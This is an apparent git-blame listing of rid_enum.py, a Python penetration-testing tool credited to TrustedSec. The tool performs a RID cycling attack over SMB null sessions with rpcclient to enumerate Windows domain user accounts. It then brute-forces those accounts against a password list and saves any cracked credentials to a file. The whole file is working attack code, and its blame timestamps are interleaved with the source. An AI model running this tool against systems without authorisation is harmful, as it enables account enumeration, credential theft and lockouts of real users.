2013-03-16 16:15:06 +00:00
|
|
|
#!/usr/bin/python
|
|
|
|
import subprocess
|
|
|
|
import os
|
|
|
|
import sys
|
|
|
|
#############################################################################################################
|
|
|
|
#
|
2013-03-19 01:13:13 +00:00
|
|
|
# RID Enum
|
|
|
|
# RID Cycling Tool
|
2013-03-16 16:15:06 +00:00
|
|
|
#
|
|
|
|
# Written by: David Kennedy (ReL1K)
|
|
|
|
# Website: https://www.trustedsec.com
|
|
|
|
# Twitter: @TrustedSec
|
|
|
|
# Twitter: @dave_rel1k
|
|
|
|
#
|
|
|
|
# This tool will use rpcclient to cycle through and identify what rid accounts exist. Uses a few
|
|
|
|
# different techniques to find the proper RID.
|
|
|
|
#
|
2013-05-27 07:18:12 +00:00
|
|
|
# Special thanks to Tom Steele for the pull request update and changes.
|
|
|
|
#
|
2013-03-16 16:15:06 +00:00
|
|
|
#############################################################################################################
|
|
|
|
|
2013-05-27 07:18:12 +00:00
|
|
|
|
|
|
|
def usage():
|
|
|
|
print """
|
|
|
|
.______ __ _______ _______ .__ __. __ __ .___ ___.
|
|
|
|
| _ \ | | | \ | ____|| \ | | | | | | | \/ |
|
|
|
|
| |_) | | | | .--. | | |__ | \| | | | | | | \ / |
|
|
|
|
| / | | | | | | | __| | . ` | | | | | | |\/| |
|
|
|
|
| |\ \----.| | | '--' | | |____ | |\ | | `--' | | | | |
|
|
|
|
| _| `._____||__| |_______/ _____|_______||__| \__| \______/ |__| |__|
|
|
|
|
|______|
|
|
|
|
|
|
|
|
Written by: David Kennedy (ReL1K)
|
|
|
|
Company: https://www.trustedsec.com
|
|
|
|
Twitter: @TrustedSec
|
|
|
|
Twitter: @Dave_ReL1K
|
|
|
|
|
|
|
|
Rid Enum is a RID cycling attack that attempts to enumerate user accounts through
|
|
|
|
null sessions and the SID to RID enum. If you specify a password file, it will
|
|
|
|
automatically attempt to brute force the user accounts when its finished enumerating.
|
|
|
|
|
|
|
|
- RID_ENUM is open source and uses all standard python libraries minus python-pexpect. -
|
|
|
|
|
|
|
|
You can also specify an already dumped username file, it needs to be in the DOMAINNAME\USERNAME
|
|
|
|
format.
|
|
|
|
|
|
|
|
Example: ./rid_enum.py 192.168.1.50 500 50000 /root/dict.txt
|
|
|
|
|
|
|
|
Usage: ./rid_enum.py <server_ip> <start_rid> <end_rid> <optional_password_file> <optional_username_filename>
|
|
|
|
"""
|
|
|
|
sys.exit()
|
|
|
|
|
|
|
|
|
|
|
|
# attempt to use lsa query first
|
2013-03-16 16:15:06 +00:00
|
|
|
def check_user_lsa(ip):
|
2013-05-27 07:18:12 +00:00
|
|
|
# pull the domain via lsaenum
|
|
|
|
proc = subprocess.Popen('rpcclient -U "" %s -N -c "lsaquery"' % ip, stdout=subprocess.PIPE,
|
|
|
|
stderr=subprocess.PIPE, shell=True)
|
|
|
|
stdout_value = proc.communicate()[0]
|
|
|
|
# if the user wasn't found, return a False
|
|
|
|
if not "Domain Sid" in stdout_value:
|
|
|
|
return False
|
|
|
|
else:
|
|
|
|
return stdout_value
|
|
|
|
|
2013-03-16 16:15:06 +00:00
|
|
|
# attempt to lookup an account via rpcclient
|
|
|
|
def check_user(ip, account):
|
2013-05-27 07:18:12 +00:00
|
|
|
proc = subprocess.Popen('rpcclient -U "" %s -N -c "lookupnames %s"' % (ip, account), stdout=subprocess.PIPE,
|
|
|
|
stderr=subprocess.PIPE, shell=True)
|
|
|
|
stdout_value = proc.communicate()[0]
|
|
|
|
# if the user wasn't found, return a False
|
|
|
|
if "NT_STATUS_NONE_MAPPED" or "NT_STATUS_CONNECTION_REFUSED" or "NT_STATUS_ACCESS_DENIED" in stdout_value:
|
|
|
|
return False
|
|
|
|
else:
|
|
|
|
return stdout_value
|
|
|
|
|
|
|
|
|
|
|
|
# helper function to break a list up into smaller lists
|
|
|
|
def chunk(l, n):
|
|
|
|
for i in range(0, len(l), n):
|
|
|
|
yield l[i:i+n]
|
|
|
|
|
2013-03-16 16:15:06 +00:00
|
|
|
|
|
|
|
# this will do a conversion to find the account name based on rid
|
2013-05-27 07:18:12 +00:00
|
|
|
# looks up multiple sid-rids at a time provided a range
|
|
|
|
def sids_to_names(ip, sid, start, stop):
|
|
|
|
rid_accounts = []
|
|
|
|
ranges = ['%s-%s' % (sid, rid) for rid in range(start, stop)]
|
|
|
|
# different chunk size for darwin (os x)
|
|
|
|
chunk_size = 2500
|
|
|
|
if sys.platform == 'darwin':
|
|
|
|
chunk_size = 5000
|
|
|
|
chunks = list(chunk(ranges, chunk_size))
|
|
|
|
for c in chunks:
|
|
|
|
command = 'rpcclient -U "" %s -N -c "lookupsids ' % ip
|
|
|
|
command += ' '.join(c)
|
|
|
|
command += '"'
|
|
|
|
proc = subprocess.Popen(command, stdout=subprocess.PIPE,
|
|
|
|
stderr=subprocess.PIPE, shell=True)
|
|
|
|
stdout_value = proc.communicate()[0]
|
2013-07-28 14:28:03 +00:00
|
|
|
if "NT_STATUS_ACCESS_DENIED" in stdout_value:
|
|
|
|
print "[![ Server sent NT_STATUS_ACCESS DENIED, unable to extract users."
|
|
|
|
break
|
2013-05-27 07:18:12 +00:00
|
|
|
for line in stdout_value.rstrip().split('\n'):
|
|
|
|
if not "*unknown*" in line:
|
|
|
|
rid_account = line.split(" ", 1)[1]
|
|
|
|
# will show during an unhandled request
|
|
|
|
# '00000' are bogus accounts?
|
|
|
|
# only return accounts ie. (1). Everything else should be a group
|
|
|
|
if rid_account != "request" and '00000' not in rid_account and '(1)' in rid_account:
|
|
|
|
# here we join based on spaces, for example 'Domain Admins' needs to be joined
|
|
|
|
rid_account = rid_account.replace("(1)", "")
|
|
|
|
# return the full domain\username
|
|
|
|
rid_account = rid_account.rstrip()
|
|
|
|
rid_accounts.append(rid_account)
|
|
|
|
return rid_accounts
|
2013-03-16 16:15:06 +00:00
|
|
|
|
|
|
|
# capture initial input
|
2013-05-27 07:18:12 +00:00
|
|
|
success = False
|
2013-03-16 16:15:06 +00:00
|
|
|
try:
|
2013-05-27 07:18:12 +00:00
|
|
|
if len(sys.argv) < 4:
|
|
|
|
usage()
|
|
|
|
ip = sys.argv[1]
|
|
|
|
rid_start = sys.argv[2]
|
|
|
|
rid_stop = sys.argv[3]
|
|
|
|
# if password file was specified
|
|
|
|
passwords = ""
|
|
|
|
# if we use userlist
|
|
|
|
userlist = ""
|
|
|
|
if len(sys.argv) > 4:
|
|
|
|
# pull in password file
|
|
|
|
passwords = sys.argv[4]
|
|
|
|
# if its not there then bomb out
|
|
|
|
if not os.path.isfile(passwords):
|
|
|
|
print "[!] File was not found. Please try a path again."
|
|
|
|
sys.exit()
|
|
|
|
if len(sys.argv) > 5:
|
|
|
|
userlist = sys.argv[5]
|
|
|
|
if not os.path.isfile(userlist):
|
|
|
|
print "[!] File was not found. Please try a path again."
|
|
|
|
sys.exit()
|
2013-03-16 16:15:06 +00:00
|
|
|
|
2013-05-27 07:18:12 +00:00
|
|
|
# check for python pexpect
|
|
|
|
try:
|
|
|
|
import pexpect
|
|
|
|
# if we don't have it
|
|
|
|
except ImportError:
|
|
|
|
print "[!] Sorry boss, python-pexpect is not installed. You need to install this first."
|
|
|
|
sys.exit()
|
2013-03-16 16:15:06 +00:00
|
|
|
|
2013-05-27 07:18:12 +00:00
|
|
|
# if userlist is being used versus rid enum, then skip all of this
|
|
|
|
if not userlist:
|
|
|
|
print "[*] Attempting lsaquery first...This will enumerate the base domain SID"
|
|
|
|
# call the check_user_lsa function and check to see if we can find base SID guid
|
|
|
|
sid = check_user_lsa(ip)
|
|
|
|
# if lsa enumeration was successful then don't do
|
|
|
|
if sid:
|
2013-07-28 14:28:03 +00:00
|
|
|
print "[*] Successfully enumerated base domain SID. Printing information: \n" + sid.rstrip()
|
|
|
|
print "[*] Moving on to extract via RID cycling attack.. "
|
2013-05-27 07:18:12 +00:00
|
|
|
# format it properly
|
|
|
|
sid = sid.rstrip()
|
|
|
|
sid = sid.split(" ")
|
|
|
|
sid = sid[4]
|
|
|
|
# if we weren't successful on lsaquery
|
|
|
|
else:
|
|
|
|
print "[!] Unable to enumerate through lsaquery, trying default account names.."
|
|
|
|
accounts = ("administrator", "guest", "krbtgt")
|
|
|
|
for account in accounts:
|
|
|
|
# check the user account based on tuple
|
|
|
|
sid = check_user(ip, account)
|
|
|
|
# if its false then cycle threw
|
|
|
|
if not sid:
|
|
|
|
print "[!] Failed using account name: %s...Attempting another." % account
|
|
|
|
else:
|
|
|
|
# success! Break out of the loop
|
|
|
|
print "[*] Successfully enumerated SID account.. Moving on to extract via RID.\n"
|
|
|
|
break
|
|
|
|
# if we found one
|
|
|
|
if sid != False:
|
|
|
|
# pulling the exact domain SID out
|
|
|
|
sid = sid.split(" ")
|
|
|
|
# pull first in tuple
|
|
|
|
sid = sid[1]
|
|
|
|
# remove the RID number
|
|
|
|
sid = sid[:-4]
|
|
|
|
# we has no sids :( exiting
|
|
|
|
if sid == False:
|
|
|
|
print "[!] Unable to enumerate user accounts, sorry..Must not be vulnerable."
|
|
|
|
sys.exit()
|
2013-03-16 16:15:06 +00:00
|
|
|
|
2013-05-27 07:18:12 +00:00
|
|
|
print "[*] Enumerating user accounts.. This could take a little while."
|
|
|
|
# assign rid start and stop as integers
|
|
|
|
rid_start = int(rid_start)
|
|
|
|
rid_stop = int(rid_stop)
|
2013-03-16 16:15:06 +00:00
|
|
|
|
2013-05-27 07:18:12 +00:00
|
|
|
# this is where we write out our output
|
|
|
|
if os.path.isfile("%s_users.txt" % ip):
|
|
|
|
# remove old file
|
|
|
|
os.remove("%s_users.txt" % ip)
|
|
|
|
filewrite = file("%s_users.txt" % ip, "a")
|
2013-03-16 16:15:06 +00:00
|
|
|
|
2013-05-27 07:18:12 +00:00
|
|
|
# cycle through rid and enumerate the domain
|
|
|
|
sid_names = sids_to_names(ip, sid, rid_start, rid_stop)
|
|
|
|
if sid_names:
|
|
|
|
for name in sid_names:
|
|
|
|
# print the sid
|
|
|
|
print "Account name: " + name
|
|
|
|
# write the file out
|
|
|
|
filewrite.write(name + "\n")
|
|
|
|
# close the file
|
|
|
|
filewrite.close()
|
2013-07-28 14:28:03 +00:00
|
|
|
print "[*] RID_ENUM has finished enumerating user accounts..."
|
2013-03-16 16:15:06 +00:00
|
|
|
|
2013-05-27 07:18:12 +00:00
|
|
|
# if we specified a password list
|
|
|
|
if passwords:
|
|
|
|
# our password file
|
|
|
|
passfile = file(passwords, "r").readlines()
|
|
|
|
userfile = ""
|
|
|
|
# if userlist was specified
|
|
|
|
if userlist:
|
|
|
|
# use the userlist specified
|
|
|
|
userfile = file(userlist, "r").readlines()
|
|
|
|
# our list of users
|
|
|
|
else:
|
|
|
|
userfile = file("%s_users.txt" % ip, "r").readlines()
|
2013-03-16 16:15:06 +00:00
|
|
|
|
2013-05-27 07:18:12 +00:00
|
|
|
# write out the files upon success
|
|
|
|
filewrite = file("%s_success_results.txt" % ip, "a")
|
2013-03-19 01:13:13 +00:00
|
|
|
|
2013-05-27 07:18:12 +00:00
|
|
|
# cycle through username first
|
|
|
|
for user in userfile:
|
|
|
|
user = user.rstrip()
|
|
|
|
user_fixed = user.replace("\\", "\\\\")
|
2013-03-16 16:15:06 +00:00
|
|
|
|
2013-05-27 07:18:12 +00:00
|
|
|
# if the user isn't blank
|
|
|
|
if user:
|
|
|
|
for password in passfile:
|
|
|
|
password = password.rstrip()
|
|
|
|
# if we specify a lowercase username
|
|
|
|
if password == "lc username":
|
|
|
|
password = user.split("\\")[1]
|
|
|
|
password = password.lower()
|
|
|
|
# if we specify a uppercase username
|
|
|
|
if password == "uc username":
|
|
|
|
password = user.split("\\")[1]
|
|
|
|
password = password.upper()
|
|
|
|
child = pexpect.spawn("rpcclient -U '%s%%%s' %s" % (user_fixed, password, ip))
|
|
|
|
i = child.expect(['LOGON_FAILURE', 'rpcclient', 'NT_STATUS_ACCOUNT_EXPIRED',
|
|
|
|
'NT_STATUS_ACCOUNT_LOCKED_OUT'])
|
|
|
|
|
|
|
|
# login failed for this one
|
|
|
|
if i == 0:
|
|
|
|
print "Failed guessing username of %s and password of %s" % (user, password)
|
|
|
|
child.kill(0)
|
|
|
|
|
|
|
|
# if successful
|
|
|
|
if i == 1:
|
|
|
|
print "[*] Successfully guessed username: %s with password of: %s" % (user, password)
|
|
|
|
filewrite.write("username: %s password: %s\n" % (user, password))
|
|
|
|
success = True
|
|
|
|
child.kill(0)
|
|
|
|
|
|
|
|
# if account expired
|
|
|
|
if i == 2:
|
|
|
|
print "[-] Successfully guessed username: %s with password of: %s \
|
|
|
|
however, it is set to expired." % (user, password)
|
|
|
|
filewrite.write("username: %s password: %s\n" % (user, password))
|
|
|
|
success = True
|
|
|
|
child.kill(0)
|
|
|
|
|
|
|
|
# if account is locked out
|
|
|
|
if i == 3:
|
|
|
|
print "[!] Careful. Received a NT_STATUS_ACCOUNT_LOCKED_OUT was detected.. \
|
|
|
|
You may be locking accounts out!"
|
|
|
|
child.kill(0)
|
|
|
|
filewrite.close()
|
|
|
|
# if we got lucky
|
|
|
|
if success:
|
|
|
|
print "[*] We got some accounts, exported results to %s_success_results_txt" % ip
|
|
|
|
print "[*] All accounts extracted via RID cycling have been exported to %s_users.txt" % ip
|
|
|
|
# if we weren't successful
|
|
|
|
else:
|
|
|
|
print "\n[!] Unable to brute force a user account, sorry boss."
|
|
|
|
|
|
|
|
# exit out after we are finished
|
|
|
|
sys.exit()
|
|
|
|
|
|
|
|
# except keyboard interrupt
|
|
|
|
except KeyboardInterrupt:
|
|
|
|
print "[*] Okay, Okay... Exiting... Thanks for using rid_enum.py"
|